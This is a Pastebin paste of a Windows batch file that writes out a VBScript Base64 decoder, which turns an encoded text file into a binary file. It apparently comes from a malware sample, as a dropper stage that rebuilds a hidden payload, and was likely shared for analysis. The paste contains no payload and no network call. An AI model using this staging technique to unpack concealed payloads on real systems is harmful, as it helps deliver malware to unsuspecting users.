SHARE
TWEET

LMv3VHkG.bat

benkow_ Nov 25th, 2015 214 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. echo echo Set fs = CreateObject("Scripting.FileSystemObject") ^>^>%1>> LMv3VHkG.bat
  2. echo echo Set file = fs.GetFile("%2") ^>^>%1>> LMv3VHkG.bat
  3. echo echo If file.Size Then ^>^>%1>> LMv3VHkG.bat
  4. echo echo Set fd = fs.OpenTextFile("%2", 1) ^>^>%1>> LMv3VHkG.bat
  5. echo echo data = fd.ReadAll ^>^>%1>> LMv3VHkG.bat
  6. echo echo data = Base64Decode(data) ^>^>%1>> LMv3VHkG.bat
  7. echo echo fd.Close ^>^>%1>> LMv3VHkG.bat
  8. echo echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("%3", 2, True) ^>^>%1>> LMv3VHkG.bat
  9. echo echo ofs.Write data ^>^>%1>> LMv3VHkG.bat
  10. echo echo ofs.close ^>^>%1>> LMv3VHkG.bat
  11. echo echo Else ^>^>%1>> LMv3VHkG.bat
  12. echo echo Wscript.Echo "The file is empty." ^>^>%1>> LMv3VHkG.bat
  13. echo echo End If^>^>%1>> LMv3VHkG.bat
  14. echo echo Function Base64Decode(ByVal base64String)^>^>%1>> LMv3VHkG.bat
  15. echo echo Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"^>^>%1>> LMv3VHkG.bat
  16. echo echo Dim dataLength, sOut, groupBegin^>^>%1>> LMv3VHkG.bat
  17. echo echo base64String = Replace(base64String, vbCrLf, "")^>^>%1>> LMv3VHkG.bat
  18. echo echo base64String = Replace(base64String, vbTab, "")^>^>%1>> LMv3VHkG.bat
  19. echo echo base64String = Replace(base64String," ", "")^>^>%1>> LMv3VHkG.bat
  20. echo echo dataLength = Len(base64String)^>^>%1>> LMv3VHkG.bat
  21. echo echo If dataLength Mod 4 ^^^<^^^> 0 Then^>^>%1>> LMv3VHkG.bat
  22. echo echo Err.Raise 1, "Base64Decode", "Bad Base64 string."^>^>%1>> LMv3VHkG.bat
  23. echo echo Exit Function^>^>%1>> LMv3VHkG.bat
  24. echo echo End If^>^>%1>> LMv3VHkG.bat
  25. echo echo For groupBegin ^= 1 To dataLength Step 4 ^>^>%1>> LMv3VHkG.bat
  26. echo echo Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut^>^>%1>> LMv3VHkG.bat
  27. echo echo numDataBytes = 3 ^>^>%1>> LMv3VHkG.bat
  28. echo echo nGroup = 0 ^>^>%1>> LMv3VHkG.bat
  29. echo echo For CharCounter = 0 To 3 ^>^>%1>> LMv3VHkG.bat
  30. echo echo thisChar = Mid(base64String, groupBegin + CharCounter, 1)^>^>%1>> LMv3VHkG.bat
  31. echo echo If thisChar = "=" Then^>^>%1>> LMv3VHkG.bat
  32. echo echo numDataBytes = numDataBytes - 1 ^>^>%1>> LMv3VHkG.bat
  33. echo echo thisData = 0 ^>^>%1>> LMv3VHkG.bat
  34. echo echo Else^>^>%1>> LMv3VHkG.bat
  35. echo echo thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1 ^>^>%1>> LMv3VHkG.bat
  36. echo echo End If^>^>%1>> LMv3VHkG.bat
  37. echo echo If thisData = -1 Then^>^>%1>> LMv3VHkG.bat
  38. echo echo Err.Raise 2, "Base64Decode", "Bad character In Base64 string."^>^>%1>> LMv3VHkG.bat
  39. echo echo Exit Function^>^>%1>> LMv3VHkG.bat
  40. echo echo End If^>^>%1>> LMv3VHkG.bat
  41. echo echo nGroup = 64 * nGroup + thisData^>^>%1>> LMv3VHkG.bat
  42. echo echo Next^>^>%1>> LMv3VHkG.bat
  43. echo echo nGroup = Hex(nGroup)^>^>%1>> LMv3VHkG.bat
  44. echo echo nGroup = String(6 - Len(nGroup), "0") ^^^& nGroup^>^>%1>> LMv3VHkG.bat
  45. echo echo pOut = Chr(CByte("&H" ^^^& Mid(nGroup, 1, 2))) + _^>^>%1>> LMv3VHkG.bat
  46. echo echo Chr(CByte("&H" ^^^& Mid(nGroup, 3, 2))) + _^>^>%1>> LMv3VHkG.bat
  47. echo echo Chr(CByte("&H" ^^^& Mid(nGroup, 5, 2)))^>^>%1>> LMv3VHkG.bat
  48. echo echo sOut = sOut ^^^& Left(pOut, numDataBytes)^>^>%1>> LMv3VHkG.bat
  49. echo echo Next^>^>%1>> LMv3VHkG.bat
  50. echo echo Base64Decode = sOut^>^>%1>> LMv3VHkG.bat
  51. echo echo End Function^>^>%1>> LMv3VHkG.bat
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top